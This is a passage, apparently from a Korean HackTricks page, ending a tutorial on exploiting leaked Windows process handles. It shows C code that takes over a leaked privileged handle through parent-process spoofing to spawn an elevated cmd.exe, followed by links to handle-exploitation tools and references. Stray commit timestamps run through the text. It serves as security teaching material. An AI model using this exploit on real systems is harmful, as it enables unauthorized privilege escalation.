SIZE_T size;
BOOL ret;
Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
Sleep(20000);
return 0;
}
```
## 기타 도구와 예시
2022-03-21 11:02:30 +00:00
2022-04-05 22:24:52 +00:00
* [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
이 도구를 사용하면 유출된 핸들을 모니터링하여 취약한 핸들을 찾고 자동으로 악용할 수 있습니다. 또한 하나의 핸들을 유출시키는 도구도 포함되어 있습니다.
2022-03-21 11:02:30 +00:00
2022-04-05 22:24:52 +00:00
* [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
핸들을 유출하고 악용하는 또 다른 도구입니다.
2022-03-21 11:02:30 +00:00
2024-02-10 21:30:13 +00:00
## 참고 자료
2022-03-21 11:02:30 +00:00
* [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
* [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder)
* [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 21:30:13 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기술을 공유하세요.
2022-04-28 16:01:33 +00:00
</details>